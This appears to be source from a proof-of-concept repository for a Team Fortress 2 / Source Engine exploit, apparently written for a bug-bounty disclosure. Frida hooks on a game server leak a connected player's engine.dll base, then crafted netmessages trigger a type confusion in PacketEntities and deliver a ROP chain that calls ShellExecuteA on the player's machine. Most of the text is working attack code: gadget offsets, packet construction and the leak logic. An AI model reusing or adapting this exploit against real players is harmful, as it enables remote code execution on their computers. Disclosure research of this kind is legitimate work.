51 | # use v8 instead of duktape js engine 52 | session.enable_jit() 53 | 54 | # read the script 55 | script = open("_agent.js").read() 56 | 57 | # prepare to inject 58 | # scriptSess = session.create_script(add_retsync(script)) 59 | scriptSess = session.create_script(script) 60 | scriptSess.on("message", on_message) 61 | 62 | # if we get any messages back... 63 | # scriptSess.on("message", client.message_handler(scriptSess)) 64 | 65 | """ 66 | def vtable_resolve(message, data): 67 | if message.get("payload") and message.get("payload").get("type") == "vtable": 68 | 69 | # vtable database generated from: 70 | # python -m vtable_parse --generate ClassLayout-SourceEngine --db source_engine.sqlite3 71 | vtable_db = msvc_vtables.LayoutDb("2013_engine.sqlite3") 72 | 73 | name = message["payload"]["name"] 74 | result = vtable_db.find(name) 75 | 76 | if result is None: 77 | payload = None 78 | else: 79 | payload = result.entries 80 | 81 | scriptSess.post({"type": "vtable", "payload": payload}) 82 | 83 | scriptSess.on("message", vtable_resolve) 84 | """ 85 | 86 | # inject it into the session 87 | scriptSess.load() 88 | 89 | # If we're using the leakless PoC 90 | if BUILD_NO_LEAK: 91 | scriptSess.post({"type": "engine_base", "payload": ENGINE_BASE}) 92 | 93 | print("[!] Ctrl+C to detach from instrumented program.\n\n") 94 | 95 | try: 96 | sys.stdin.read() 97 | except KeyboardInterrupt: 98 | pass 99 | 100 | # detach from the target process 101 | session.detach() 102 | 103 | # client.disconnect() 104 | 105 | 106 | if __name__ == "__main__": 107 | main() 108 | -------------------------------------------------------------------------------- /src/agent/index.ts: -------------------------------------------------------------------------------- 1 | import MapInfoLeak from './infoleak'; 2 | import bf_write from './source_engine/classes/bf_write' 3 | import CBaseClient from './source_engine/classes/cgameclient' 4 | import CNetChan from './source_engine/classes/cnetchan' 5 | import se from './source_engine/index' 6 | import hackerone from './source_engine/hackerone'; 7 | import CGameClient from './source_engine/classes/cgameclient'; 8 | 9 | let net_SetConVar = 5; 10 | let svc_PacketEntities = 26; 11 | let net_Tick = 3; 12 | let NETMSG_BITS = 6; 13 | 14 | // craft a packet to replicate a cvar using net_ConVar netmessage 15 | function ReplicateCVar(bf: bf_write, name: string, value: string) { 16 | bf.WriteUBitLong(net_SetConVar, NETMSG_BITS) 17 | bf.WriteByte(1) 18 | bf.WriteString(name) 19 | bf.WriteString(value) 20 | } 21 | 22 | // craft net_Tick to change the value of m_ClientGlobalVariables->tickcount 23 | function SetClientTick(bf: bf_write, value: NativePointer) { 24 | bf.WriteUBitLong(net_Tick, NETMSG_BITS) 25 | 26 | // Tick count (Stored in m_ClientGlobalVariables->tickcount) 27 | bf.WriteLong(value.toInt32()) 28 | 29 | // Write m_flHostFrameTime 30 | bf.WriteUBitLong(1, 16); 31 | 32 | // Write m_flHostFrameTimeStdDeviation 33 | bf.WriteUBitLong(1, 16); 34 | } 35 | 36 | // craft the netmessage for the PacketEntities exploit 37 | function SendExploit_PacketEntities(bf: bf_write, offset: number) { 38 | bf.WriteUBitLong(svc_PacketEntities, NETMSG_BITS) 39 | 40 | // Max entries 41 | bf.WriteUBitLong(0, 11) 42 | 43 | // Is Delta? 44 | bf.WriteBit(0) 45 | 46 | // DeltaFrom=? 47 | // bf.WriteUBitLong(0, 32) 48 | 49 | // Baseline? 50 | bf.WriteBit(0) 51 | 52 | // # of updated entries? 53 | bf.WriteUBitLong(1, 11) 54 | 55 | // Length of update packet? 56 | bf.WriteUBitLong(55, 20) 57 | 58 | // Update baseline? 59 | bf.WriteBit(0) 60 | 61 | // Data_in after here 62 | bf.WriteUBitLong(3, 2) // our data_in is of type 32-bit integer 63 | 64 | // >>>>>>>>>>>>>>>>>>>> The out of bounds type confusion is here <<<<<<<<<<<<<<<<<<<< 65 | bf.WriteUBitLong(offset, 32) 66 | 67 | // enterpvs flag 68 | bf.WriteBit(0) 69 | 70 | // zero for the rest of the packet 71 | bf.WriteUBitLong(0, 32) 72 | bf.WriteUBitLong(0, 32) 73 | bf.WriteUBitLong(0, 32) 74 | bf.WriteUBitLong(0, 32) 75 | bf.WriteUBitLong(0, 32) 76 | bf.WriteUBitLong(0, 32) 77 | bf.WriteUBitLong(0, 32) 78 | bf.WriteUBitLong(0, 32) 79 | } 80 | 81 | function XorEdxEdxRet(engineBase: NativePointer) { 82 | return engineBase.add(0x2a5ccc) 83 | } 84 | 85 | function PopEbxRet(engineBase: NativePointer) { 86 | return engineBase.add(0x3d87) 87 | } 88 | 89 | function IncEbxRet(engineBase: NativePointer) { 90 | return engineBase.add(0x8e4d9) 91 | } 92 | 93 | function PopEaxRet(engineBase: NativePointer) { 94 | return engineBase.add(0x4d845) 95 | } 96 | 97 | function PopEcxRet(engineBase: NativePointer) { 98 | return engineBase.add(0x359fa) 99 | } 100 | 101 | function DerefEcxIntoEaxRet(engineBase: NativePointer) { 102 | return engineBase.add(0x1c4210) 103 | } 104 | 105 | // neg edx; sbb dl, dl; lea eax, [edx + 1]; pop ebp; ret; 106 | function NegEdxPopEbpRet(engineBase: NativePointer) { 107 | return engineBase.add(0x2b97d1) 108 | } 109 | 110 | function PopEdxRet(engineBase: NativePointer) { 111 | return engineBase.add(0x1ee2c2) 112 | } 113 | 114 | function NegEaxRet(engineBase: NativePointer) { 115 | return engineBase.add(0x14a6f9) 116 | } 117 | 118 | function XchgEaxEbxRet(engineBase: NativePointer) { 119 | return engineBase.add(0x177ec9) 120 | } 121 | 122 | function IATForShellExecuteA(engineBase: NativePointer) { 123 | return engineBase.add(0x2D823C) 124 | } 125 | 126 | function XchgEaxEsiRet(engineBase: NativePointer) { 127 | return engineBase.add(0x17d036) 128 | } 129 | 130 | function PushEaxPopEdiPopEbxPopEbpRet(engineBase: NativePointer) { 131 | return engineBase.add(0x221e1d) 132 | } 133 | 134 | function IncEbpRet(engineBase: NativePointer) { 135 | return engineBase.add(0xacfbb) 136 | } 137 | 138 | function NegEcxClobberEaxRet(engineBase: NativePointer) { 139 | return engineBase.add(0x23992c) 140 | } 141 | 142 | // 0x100d4c3e: xchg eax, ecx; pop esi; pop edi; pop ebp; ret; 143 | function XchgEaxEcxPopEsiPopEdiPopEbpRet(engineBase: NativePointer) { 144 | return engineBase.add(0xd4c3e) 145 | } 146 | 147 | function PushalRet(engineBase: NativePointer) { 148 | return engineBase.add(0x1b9793) 149 | } 150 | 151 | function DecEcxRet(engineBase: NativePointer) { 152 | return engineBase.add(0xbc49c) 153 | } 154 | 155 | 156 | // globally controllable value using net_Tick 157 | let tickcount_offset = se.util.require_offset("g_ClientGlobalVariables").add(0x18) 158 | 159 | // a replicated cvar value that we know 160 | let svdownloadurl_mpzstring_offset = se.util.require_offset("sv_downloadurl").add(36) 161 | 162 | function postLeak(engineBase: NativePointer | null) { 163 | if (engineBase === null) { 164 | console.log("leak failed") 165 | return; 166 | } 167 | 168 | console.log("Using engine base: " + engineBase) 169 | 170 | let client = CBaseClient.GetClientByIndex(0) 171 | if (client.pointer.isNull()) { 172 | console.log("ERROR: A player must be connected to the server! Please restart the script after a player has connected.") 173 | return; 174 | } 175 | let netchannel = client.GetNetChannel() as CNetChan 176 | if (netchannel.pointer.isNull()) { 177 | console.log("ERROR: A player must be connected to the server! Please restart the script after a player has connected.") 178 | return; 179 | } 180 | 181 | console.log("Sending exploit to player...") 182 | 183 | // the stack pivot gadget in engine that we want to call 184 | let stackPivotGadget = engineBase?.add(0x261683) 185 | //console.log("stackPivotGadget: " + stackPivotGadget) 186 | 187 | // absolute pointer to the remote engine.dll's tickcount 188 | let tickcount_remote_addr = engineBase.add(tickcount_offset) 189 | 190 | // allows us to execute the value at this address 191 | let derefToCall = new NativePointer(tickcount_remote_addr); 192 | 193 | // generate the ROP chain 194 | let origpayload = Memory.alloc(1024); 195 | let payload = origpayload; 196 | payload = payload.writePointer(derefToCall.sub(0x18)).add(4) 197 | 198 | // padding for stack pivot 199 | payload = payload.writeU32(0xDEADBEEF).add(4) // EBX 200 | payload = payload.writeU32(0xDEADBEEF).add(4) // ESI 201 | // ECX+4 == beginning of our payload 202 | 203 | 204 | /* 205 | HINSTANCE ShellExecuteA( 206 | HWND hwnd, 207 | LPCSTR lpOperation, 208 | LPCSTR lpFile, 209 | LPCSTR lpParameters, 210 | LPCSTR lpDirectory, 211 | INT nShowCmd 212 | ); 213 | 214 | EDI = &ShellExecuteA 215 | ESI = [Return Address] 216 | EBP = hWnd 217 | Temp = lpOperation 218 | EBX = lpFile 219 | EDX = lpParameters 220 | ECX = lpDirectory 221 | EAX = nShowCmd 222 | 223 | */ 224 | 225 | 226 | // &ShellExecuteA => EDI 227 | // ------------------------------------------ 228 | 229 | // ECX = &&ShellExecuteA 230 | payload = payload.writePointer(PopEcxRet(engineBase)).add(4) 231 | payload = payload.writePointer(IATForShellExecuteA(engineBase)).add(4) 232 | 233 | // EAX = *(ECX) 234 | // EAX = &ShellExecuteA 235 | payload = payload.writePointer(DerefEcxIntoEaxRet(engineBase)).add(4) 236 | 237 | // EDI = EAX 238 | // EBX = ~1 239 | // EBP = ~1 240 | payload = payload.writePointer(PushEaxPopEdiPopEbxPopEbpRet(engineBase)).add(4) 241 | payload = payload.writeU32(0xFFFFFFFF).add(4) 242 | payload = payload.writeU32(0xFFFFFFFF).add(4) 243 | 244 | // EBP = 0 245 | payload = payload.writePointer(IncEbpRet(engineBase)).add(4) 246 | 247 | // EDX = 0 248 | payload = payload.writePointer(XorEdxEdxRet(engineBase)).add(4) 249 | 250 | // Resolve a pointer to the string contents of sv_downloadurl, which contains the file we want to execute 251 | // ECX = &&FileToExecute 252 | payload = payload.writePointer(PopEcxRet(engineBase)).add(4) 253 | payload = payload.writePointer(engineBase.add(svdownloadurl_mpzstring_offset)).add(4) 254 | 255 | // EAX = *(ECX) 256 | // EAX = &FileToExecute 257 | payload = payload.writePointer(DerefEcxIntoEaxRet(engineBase)).add(4) 258 | 259 | // EBX = EAX 260 | payload = payload.writePointer(XchgEaxEbxRet(engineBase)).add(4) 261 | 262 | // ECX = ~1 263 | payload = payload.writePointer(PopEcxRet(engineBase)).add(4) 264 | payload = payload.writeU32(0xFFFFFFFF).add(4) 265 | 266 | // ECX = 1 267 | payload = payload.writePointer(NegEcxClobberEaxRet(engineBase)).add(4) 268 | 269 | // ECX -= 1, ECX = 0 270 | payload = payload.writePointer(DecEcxRet(engineBase)).add(4) 271 | 272 | // EAX = ~5 (SW_SHOW) 273 | payload = payload.writePointer(PopEaxRet(engineBase)).add(4) 274 | payload = payload.writeU32(0xFFFFFFFF - 4).add(4) 275 | 276 | // EAX = 5 (SW_SHOW) 277 | payload = payload.writePointer(NegEaxRet(engineBase)).add(4) 278 | 279 | // pushal; ret 280 | payload = payload.writePointer(PushalRet(engineBase)).add(4) 281 | 282 | payload = payload.writeU32(0x6e65706f).add(4) 283 | payload = payload.writeU32(0x00000000).add(4) 284 | 285 | // MUST be readAnsiString or it will do unicode character replacement!! 286 | let stringVal = origpayload.readAnsiString() 287 | if (stringVal === null) { 288 | console.log("payload gen failed") 289 | return; 290 | } 291 | 292 | console.log("Chain length: " + stringVal.length) 293 | 294 | if (stringVal.length != 96) { 295 | console.log("[!!!] Scared of a lucky ASLR base, not exploiting.") 296 | netchannel.Shutdown(Memory.allocAnsiString("Something went wrong while connecting, please restart your system and try again")) 297 | return 298 | } 299 | let payloadbuf = bf_write.Create(2048) 300 | 301 | 302 | // Need to send the program we want to execute somewhere we can locate a pointer to 303 | ReplicateCVar(payloadbuf, "sv_downloadurl", "C:/Windows/System32/winver.exe") 304 | 305 | // The fake object pointer and the ROP chain are stored in this cvar 306 | ReplicateCVar(payloadbuf, "sv_mumble_positionalaudio", stringVal) 307 | 308 | // Set a known location inside of engine.dll so we can access it. 309 | SetClientTick(payloadbuf, new NativePointer(stackPivotGadget)) 310 | 311 | // The exploit for type-confusion in PacketEntities to begin the arbitrary code execution 312 | SendExploit_PacketEntities(payloadbuf, 0x26DA) 313 | 314 | // Send the above netmessages to the player 315 | netchannel.SendData(payloadbuf.pointer, 1) 316 | 317 | console.log("Payload successfully sent.") 318 | 319 | } 320 | 321 | let SIGNONSTATE_FULL = 6; 322 | 323 | MapInfoLeak.attachInterceptors() 324 | 325 | // Hook when new clients are connecting and wait for them to spawn in 326 | let signonstate_fn = se.util.require_symbol("CGameClient::ProcessSignonStateMsg") 327 | Interceptor.attach(signonstate_fn, { 328 | onEnter(args) { 329 | console.log("Signon state: " + args[0].toInt32()) 330 | 331 | // Check to make sure they're fully spawned in 332 | let stateNumber = args[0].toInt32() 333 | if (stateNumber != SIGNONSTATE_FULL) { return; } 334 | 335 | // give their client a bit of time to load in, if it's slow. 336 | Thread.sleep(1) 337 | 338 | // Get the CGameClient instance, then get their netchannel 339 | let thisptr = (this.context as Ia32CpuContext).ecx; 340 | let asNetChan = new CGameClient(thisptr.add(0x4)).GetNetChannel() as CNetChan; 341 | if (asNetChan.pointer.isNull()) { 342 | console.log("[!] Could not get CNetChan for player!") 343 | return; 344 | } 345 | 346 | // Begin the leak, and eventually the exploit 347 | let leak = new MapInfoLeak(asNetChan, postLeak); 348 | leak.startLeakingFile(); 349 | } 350 | }) -------------------------------------------------------------------------------- /src/agent/infoleak.ts: -------------------------------------------------------------------------------- 1 | import se from './source_engine/index'; 2 | import CBaseClient from "./source_engine/classes/cgameclient"; 3 | import CNetChan from "./source_engine/classes/cnetchan"; 4 | 5 | // Subchannel stream index for file transfers 6 | let FRAG_FILE_STREAM = 1; 7 | 8 | type MapInfoLeakCallback = (engineBase: NativePointer | null) => void; 9 | 10 | class MapInfoLeak { 11 | // the net channel that we will leak the engine pointer from 12 | channel: CNetChan; 13 | 14 | // the number of fragments that have been recieved so far from the client 15 | fragsRecieved: number = 0; 16 | 17 | // the promise that the leaking file will finish 18 | callback: MapInfoLeakCallback; 19 | 20 | constructor(clientIndexOrNetChan: number | CNetChan, callback: MapInfoLeakCallback) { 21 | let netchannel: CNetChan | null = null; 22 | 23 | if (clientIndexOrNetChan instanceof CNetChan) { 24 | netchannel = clientIndexOrNetChan 25 | } else { 26 | let client = CBaseClient.GetClientByIndex(clientIndexOrNetChan) 27 | if (client.pointer.isNull()) { 28 | throw new Error(`MapInfoLeak created for invalid client index ${clientIndexOrNetChan}`) 29 | } 30 | 31 | netchannel = client.GetNetChannel() as CNetChan 32 | if (netchannel.pointer.isNull()) { 33 | console.log("!!! A player must be connected for exploitation to begin!\n\n\n") 34 | throw new Error(`MapInfoLeak could not find CNetChan for index ${clientIndexOrNetChan}`) 35 | } 36 | } 37 | 38 | this.channel = netchannel 39 | this.callback = callback 40 | } 41 | 42 | // start the leaking process, when it's finished, calls callback(leaked p 43 | startLeakingFile() { 44 | // Let the hooks know we should be expecting this channel 45 | MapInfoLeak.pendingNetChannels.push(this); 46 | 47 | // make a request to leak the file we've packed into the invalid zip in the map 48 | this.channel.RequestFile(Memory.allocAnsiString("test.txt")) 49 | } 50 | 51 | ////////////////// static portion 52 | 53 | // channels that have been sent the request for the infoleak 54 | // which we will monitor 55 | static pendingNetChannels: Array = []; 56 | 57 | // if true, the thread is in ReadSubChannelData and we want to intercept 58 | // the call to bf_read::ReadBytes to read out the leaked data from the fragment 59 | // we just recieved from the client 60 | static shouldInterceptReadBytesFor: MapInfoLeak | null = null; 61 | 62 | // calculate the engine base based on the RE'd address we know from the leak 63 | static convertLeakToEngineBase(leakedPointer: NativePointer) { 64 | console.log("[*] leakedPointer: " + leakedPointer) 65 | 66 | // get the known offset of the leaked pointer in our engine.dll 67 | let knownOffset = se.util.require_offset("Engine_Leak2"); 68 | console.log("[*] Engine_Leak2 offset: " + knownOffset) 69 | 70 | // use the offset to find the base of the client's engine.dll 71 | let leakedBase = leakedPointer.sub(knownOffset); 72 | console.log("[*] leakedBase: " + leakedBase) 73 | 74 | if ((leakedBase.toInt32() & 0xFFFF) !== 0) { 75 | console.log("[*] failed...") 76 | return null; 77 | } 78 | 79 | console.log("[*] Got it!") 80 | return leakedBase; 81 | } 82 | 83 | static removedQueuedLeak(obj: MapInfoLeak) { 84 | MapInfoLeak.pendingNetChannels = MapInfoLeak.pendingNetChannels.filter(o => o !== obj); 85 | } 86 | 87 | // Attaches to functions that recieve network fragments from a client 88 | static attachInterceptors() { 89 | // get required symbols 90 | let ReadSubChannelData = se.util.require_symbol("CNetChan::ReadSubChannelData"); 91 | let ReadBytes = se.util.require_symbol("bf_read::ReadBytes"); 92 | 93 | // CNetChan::ReadSubChannelData 94 | // Called when the server recieves subchannel data from a client 95 | Interceptor.attach( 96 | ReadSubChannelData, 97 | { 98 | onEnter(args) { 99 | // is this the file stream? if not, we don't care for it. 100 | let stream = args[1] 101 | if (stream.toInt32() != FRAG_FILE_STREAM) return; 102 | 103 | // is this a client we have begun to exploit? if not, we don't care for it. 104 | let thisptr = (this.context as Ia32CpuContext).ecx; 105 | 106 | // get the MapInfoLEak object for this net channel 107 | let mapleak = MapInfoLeak.pendingNetChannels.find(o => o.channel.pointer.equals(thisptr)); 108 | if (mapleak === undefined) { 109 | // data we don't care about 110 | return; 111 | } 112 | 113 | // okay, we're ready to intercept ReadBytes and grab the leak 114 | MapInfoLeak.shouldInterceptReadBytesFor = mapleak; 115 | } 116 | } 117 | ) 118 | 119 | // bf_read::ReadBytes 120 | // Called inside of ReadSubChannelData when the server is about to read some data from a fragment 121 | Interceptor.attach( 122 | ReadBytes, 123 | { 124 | // onEnter will capture the buffer pointer that ReadBytes is writing data out to 125 | onEnter(args) { 126 | this.buffer = args[0]; 127 | }, 128 | 129 | // onLeave will take place after the buffer has been filled with data 130 | onLeave() { 131 | let mapleak = MapInfoLeak.shouldInterceptReadBytesFor; 132 | 133 | // if something called ReadBytes but it's not something we want, ignore it 134 | if (!mapleak) { 135 | return; 136 | } 137 | 138 | console.log(`[*] Intercepting ReadBytes (frag = ${mapleak.fragsRecieved})`) 139 | 140 | // reset for next time 141 | MapInfoLeak.shouldInterceptReadBytesFor = null; 142 | 143 | // dump the data we recieved as 4 byte pointers 144 | for (let i = 0; i < 64; i++) { 145 | let ptr = this.buffer.add(i * 4).readPointer() 146 | console.log(`${new NativePointer(i * 4)}: ${ptr}`) 147 | } 148 | 149 | let expectedBase = 0xC0; 150 | let clientEngineBase: NativePointer | null = null; 151 | 152 | for (let i = 0; i < 15; i++) { 153 | console.log("[*] Testing " + new NativePointer(i * 4)) 154 | // if we're here, it means we got some data from the client for our leak 155 | let engineLeak = this.buffer.add(expectedBase + (i * 4)).readPointer(); 156 | clientEngineBase = MapInfoLeak.convertLeakToEngineBase(engineLeak) 157 | if (clientEngineBase) { 158 | break; 159 | } 160 | else { 161 | clientEngineBase = null; 162 | } 163 | } 164 | 165 | // we have recieved a fragment 166 | mapleak.fragsRecieved += 1; 167 | 168 | // have we recieved enough fragments for the leak? 169 | if (clientEngineBase) { 170 | MapInfoLeak.removedQueuedLeak(mapleak); 171 | 172 | // leak successful! call the callback 173 | mapleak.callback(clientEngineBase); 174 | } else { 175 | MapInfoLeak.removedQueuedLeak(mapleak); 176 | console.error("Failed to leak base from client's engine. Something big must have changed!") 177 | mapleak.channel.Shutdown("Something went wrong while connecting, please restart your system and try again") 178 | } 179 | } 180 | } 181 | ) 182 | } 183 | } 184 | 185 | export default MapInfoLeak; 186 | -------------------------------------------------------------------------------- /src/agent/logger.ts: -------------------------------------------------------------------------------- 1 | export function log(message: string): void { 2 | console.log(message); 3 | } 4 | -------------------------------------------------------------------------------- /src/agent/source_engine/classes/IBaseFileSystem.ts: -------------------------------------------------------------------------------- 1 | import se from '../index' 2 | import WrappedObject from './wrappedobject' 3 | 4 | class IBaseFileSystem extends WrappedObject { 5 | constructor(ptr: NativePointer) { 6 | super(ptr); 7 | } 8 | 9 | static CreateInterface() { 10 | let res = se.CreateInterface(Module.load("FileSystem_stdio.dll"), "VFileSystem022"); 11 | 12 | // offset vtable this pointer for IBaseFileSystem 13 | return new IBaseFileSystem(res.add(Process.pointerSize)); 14 | } 15 | 16 | static vtable_max_index: number = 6; 17 | Size = se.util.classfn_from_vtable(6, 'int', ['pointer', 'pointer']) 18 | } 19 | 20 | export default IBaseFileSystem -------------------------------------------------------------------------------- /src/agent/source_engine/classes/bf_write.ts: -------------------------------------------------------------------------------- 1 | import WrappedObject from "./wrappedobject"; 2 | import ExtensionModule from "../extend" 3 | 4 | // Wraps around the bf_write class used to do bitpacking operations 5 | class bf_write extends WrappedObject { 6 | // the pointer to memory allocated for this bf_write 7 | buffer: NativePointer; 8 | 9 | // size of the buffer 10 | bufferSize: number; 11 | 12 | constructor(ptr: NativePointer, buffer: NativePointer, bufferSize: number) { 13 | super(ptr); 14 | this.buffer = buffer; 15 | this.bufferSize = bufferSize; 16 | } 17 | 18 | // create a bf_write with a buffer of the given size 19 | static Create(maxBytes: number) { 20 | // we need the extension module for this 21 | ExtensionModule.LoadModule(); 22 | 23 | let buf = Memory.alloc(maxBytes); 24 | 25 | // create a new bf_write with a malloc'd buffer 26 | let createdObj = ExtensionModule.bfwrite_New(buf, maxBytes) as NativePointer 27 | return new bf_write(createdObj, buf, maxBytes); 28 | } 29 | 30 | // write a single bit to the buffer 31 | WriteBit(bit: number) { 32 | ExtensionModule.bfwrite_WriteOneBit(this.pointer, bit) 33 | } 34 | 35 | // write a single byte to the buffer 36 | WriteByte(byte: number) { 37 | ExtensionModule.bfwrite_WriteOneByte(this.pointer, byte) 38 | } 39 | 40 | // reset the pointer 41 | Reset() { 42 | ExtensionModule.bfwrite_Reset(this.pointer) 43 | } 44 | 45 | // Write an integer 46 | WriteUBitLong(value: number, size: number) { 47 | ExtensionModule.bfwrite_WriteUBitLong(this.pointer, value, size) 48 | } 49 | 50 | // Write a variable length integer using engine-custom packing 51 | WriteUBitVar(value: number) { 52 | ExtensionModule.bfwrite_WriteUBitVar(this.pointer, value) 53 | } 54 | 55 | // Write a string value to the bf_write 56 | WriteString(str: string) { 57 | ExtensionModule.bfwrite_WriteString(this.pointer, Memory.allocAnsiString(str)) 58 | } 59 | 60 | // Write a `long` value to the output stream 61 | WriteLong(value: number) { 62 | ExtensionModule.bfwrite_WriteLong(this.pointer, value) 63 | } 64 | 65 | // Destroy the bf_write object 66 | Destroy() { 67 | ExtensionModule.bfwrite_Destroy(this.pointer) 68 | } 69 | 70 | } 71 | 72 | export default bf_write -------------------------------------------------------------------------------- /src/agent/source_engine/classes/cgameclient.ts: -------------------------------------------------------------------------------- 1 | import se from '../index' 2 | import WrappedObject from './wrappedobject' 3 | 4 | class CGameClient extends WrappedObject { 5 | constructor(ptr: NativePointer) { 6 | super(ptr); 7 | se.vtable.retsync_vtable(this.pointer, "IClient") 8 | } 9 | 10 | // Get a client by player index 11 | static GetClientByIndex(clientIndex: number) { 12 | 13 | // array of all clients in the singleton CBaseServer 14 | let m_Clients = se.util.require_symbol("CBaseServer::m_Clients").readPointer() 15 | if (m_Clients.isNull()) { 16 | return new CGameClient(new NativePointer(0x00)) 17 | } 18 | 19 | // access the CUtlVector for the client pointer 20 | let client = m_Clients.add(clientIndex * Process.pointerSize).readPointer() 21 | 22 | // shift vtable this for the IClient vtable 23 | client = client.add(Process.pointerSize) 24 | 25 | // return the CGameClient object ready to be used 26 | return new CGameClient(client) 27 | } 28 | 29 | static vtable_max_index: number = 18; 30 | GetNetChannel = se.util.classfn_from_vtable(18, 'CNetChan', []) 31 | } 32 | 33 | export default CGameClient -------------------------------------------------------------------------------- /src/agent/source_engine/classes/cnetchan.ts: -------------------------------------------------------------------------------- 1 | import se from '../index' 2 | import WrappedObject from './wrappedobject' 3 | 4 | class CNetChan extends WrappedObject { 5 | constructor(ptr: NativePointer) { 6 | super(ptr); 7 | se.vtable.retsync_vtable(this.pointer, "INetChannel") 8 | } 9 | 10 | static vtable_max_index: number = 62; 11 | GetAddress = se.util.classfn_from_vtable(1, 'cstring', []) 12 | Shutdown = se.util.classfn_from_vtable(36, 'void', ['pointer']) 13 | ProcessPacket = se.util.classfn_from_vtable(39, 'void', ['pointer', 'bool']) 14 | SendData = se.util.classfn_from_vtable(41, 'bool', ['pointer', 'bool']) 15 | RequestFile = se.util.classfn_from_vtable(62, 'uint', ['pointer']) 16 | } 17 | 18 | export default CNetChan -------------------------------------------------------------------------------- /src/agent/source_engine/classes/index.ts: -------------------------------------------------------------------------------- 1 | import CBaseClient from './cgameclient' 2 | import CNetChan from './cnetchan' 3 | import IBaseFileSystem from './IBaseFileSystem' 4 | 5 | export default { CBaseClient, CNetChan, IBaseFileSystem } -------------------------------------------------------------------------------- /src/agent/source_engine/classes/wrappedobject.ts: -------------------------------------------------------------------------------- 1 | import util from '../util' 2 | 3 | class WrappedObject { 4 | static vtable_addresses: Record = {}; 5 | static vtable_functions: Record = {}; 6 | static vtable_max_index: number = 0; 7 | static vtable_resolved: boolean = false; 8 | 9 | pointer: NativePointer; 10 | 11 | static _PrecacheVTable(pointer: NativePointer) { 12 | if (this.vtable_resolved || this.vtable_max_index === 0) { return; } 13 | 14 | let vtable_ptr = pointer.readPointer(); 15 | for (let i = 0; i < this.vtable_max_index + 1; i++) { 16 | this.vtable_addresses[i] = vtable_ptr.add(i * Process.pointerSize).readPointer(); 17 | } 18 | 19 | this.vtable_resolved = true; 20 | } 21 | 22 | // get a cached vtable index for this object 23 | GetVTableIndex(vtableIndex: number) { 24 | return (this.constructor as any).vtable_addresses[vtableIndex] 25 | } 26 | 27 | constructor(ptr: NativePointer) { 28 | this.pointer = ptr; 29 | if (!this.pointer.isNull()) { 30 | (this.constructor as any)._PrecacheVTable(this.pointer); 31 | } 32 | } 33 | } 34 | 35 | export default WrappedObject; -------------------------------------------------------------------------------- /src/agent/source_engine/extend.ts: -------------------------------------------------------------------------------- 1 | // handles loading se-extend.dll to access useful source sdk functions through a C interface 2 | 3 | // imports all of the helper functions from the extension dll for easy access 4 | class ExtensionModule { 5 | // the loaded module in this process 6 | static module: Module | null = null; 7 | 8 | // load the DLL into the process 9 | static LoadModule() { 10 | // is it already loaded? we don't need to load it again 11 | if (this.module !== null) { 12 | return; 13 | } 14 | 15 | // load the extension library, throws exception if something goes wrong 16 | this.module = Module.load("se-extend.dll") 17 | 18 | // ensure we have initialized it before we act on it 19 | Module.ensureInitialized("se-extend.dll") 20 | 21 | // create function prototypes 22 | this.bfwrite_New = new NativeFunction(this.module.getExportByName("bfwrite_New"), 'pointer', ['pointer', 'int']) 23 | this.bfwrite_WriteOneBit = new NativeFunction(this.module.getExportByName("bfwrite_WriteOneBit"), 'void', ['pointer', 'int']) 24 | this.bfwrite_WriteOneByte = new NativeFunction(this.module.getExportByName("bfwrite_WriteOneByte"), 'void', ['pointer', 'int']) 25 | this.bfwrite_Reset = new NativeFunction(this.module.getExportByName("bfwrite_Reset"), 'void', ['pointer']) 26 | this.bfwrite_WriteUBitLong = new NativeFunction(this.module.getExportByName("bfwrite_WriteUBitLong"), 'void', ['pointer', 'int', 'int']) 27 | this.bfwrite_WriteUBitVar = new NativeFunction(this.module.getExportByName("bfwrite_WriteUBitVar"), 'void', ['pointer', 'int']) 28 | this.bfwrite_WriteString = new NativeFunction(this.module.getExportByName("bfwrite_WriteString"), 'void', ['pointer', 'pointer']) 29 | this.bfwrite_WriteLong = new NativeFunction(this.module.getExportByName("bfwrite_WriteLong"), 'void', ['pointer', 'long']) 30 | this.bfwrite_Destroy = new NativeFunction(this.module.getExportByName("bfwrite_Destroy"), 'void', ['pointer']) 31 | } 32 | 33 | static UnloadModule() { 34 | if (this.module === null) { 35 | return; 36 | } 37 | 38 | let k32 = Module.load("kernel32.dll") 39 | let freelibrary = new NativeFunction(k32.getExportByName("FreeLibrary"), 'bool', ['pointer'], 'stdcall') 40 | let result = freelibrary(this.module.base) as Boolean 41 | if (!result) { 42 | throw new Error("Could not unload extension DLL") 43 | } 44 | 45 | console.log("Unloaded.") 46 | } 47 | 48 | static bfwrite_New: ((buffer: NativePointer, numBytes: number) => NativeReturnValue); 49 | static bfwrite_WriteOneBit: ((_this: NativePointer, bit: number) => NativeReturnValue); 50 | static bfwrite_WriteOneByte: ((_this: NativePointer, byte: number) => NativeReturnValue); 51 | static bfwrite_Reset: ((_this: NativePointer) => NativeReturnValue); 52 | static bfwrite_WriteUBitLong: ((_this: NativePointer, value: number, size: number) => NativeReturnValue); 53 | static bfwrite_WriteUBitVar: ((_this: NativePointer, value: number) => NativeReturnValue); 54 | static bfwrite_WriteString: ((_this: NativePointer, str: NativePointer) => NativeReturnValue); 55 | static bfwrite_WriteLong: ((_this: NativePointer, value: number) => NativeReturnValue); 56 | static bfwrite_Destroy: ((_this: NativePointer) => NativeReturnValue); 57 | } 58 | 59 | export default ExtensionModule -------------------------------------------------------------------------------- /src/agent/source_engine/hackerone.ts: -------------------------------------------------------------------------------- 1 | // Allows specification of specific offets in game files without using ret-sync 2 | 3 | class KnownSymbol { 4 | relative_address: NativePointer; 5 | module: string; 6 | address: NativePointer = new NativePointer(0x00) 7 | 8 | constructor(relative_address: number, module: string) { 9 | this.module = module; 10 | this.relative_address = new NativePointer(relative_address); 11 | } 12 | 13 | resolveActualAddress() { 14 | if (this.address.isNull()) { 15 | let mod = Module.load(this.module); 16 | this.address = mod.base.add(this.relative_address) 17 | } 18 | } 19 | } 20 | 21 | // Symbols added specifically for TF2 build #5840528 22 | let KnownSymbols: { [key: string]: KnownSymbol } = { 23 | "g_ClientGlobalVariables": new KnownSymbol(0x3ACB78, "engine.dll"), 24 | "sv_downloadurl": new KnownSymbol(0x605198, "engine.dll"), 25 | "CBaseServer::m_Clients": new KnownSymbol(0x5DAC20, "engine.dll"), 26 | "CNetChan::ReadSubChannelData": new KnownSymbol(0x1A0D70, "engine.dll"), 27 | "bf_read::ReadBytes": new KnownSymbol(0x239790, "engine.dll"), 28 | "Engine_Leak": new KnownSymbol(0x1A2797, "engine.dll"), 29 | "Engine_Leak2": new KnownSymbol(0x23AB8D, "engine.dll"), 